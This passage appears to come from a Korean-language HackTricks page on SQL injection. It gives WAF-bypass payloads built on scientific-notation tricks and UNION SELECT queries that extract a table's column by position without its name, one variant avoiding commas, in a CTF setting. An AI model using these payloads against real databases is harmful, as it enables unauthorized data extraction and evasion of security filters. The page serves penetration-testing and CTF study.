이 기술에 대한 보다 자세한 설명은 gosecure 블로그에서 찾을 수 있습니다. 기본적으로 WAF를 우회하기 위해 예상치 못한 방식으로 과학적 표기법을 사용할 수 있습니다.

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

열 이름 제한 우회

먼저, 원래의 쿼리와 플래그를 추출하려는 테이블이 동일한 열 수를 가지고 있다면 다음과 같이 수행할 수 있습니다: 0 UNION SELECT * FROM flag

테이블의 세 번째 열에 접근하는 것은 해당 열의 이름을 사용하지 않고 다음과 같은 쿼리를 사용하여 가능합니다: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, 따라서 SQL 인젝션에서는 다음과 같이 보일 것입니다:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

또는 쉼표 우회를 사용하여:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

이 트릭은 https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/에서 가져온 것입니다.

WAF 우회 제안 도구

다른 가이드

브루트포스 탐지 목록

​​​​​​​RootedCON스페인에서 가장 관련성 있는 사이버 보안 행사이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술적인 지식을 촉진하는 미션을 가지고 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들에게 열정적인 만남의 장입니다.

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

Last updated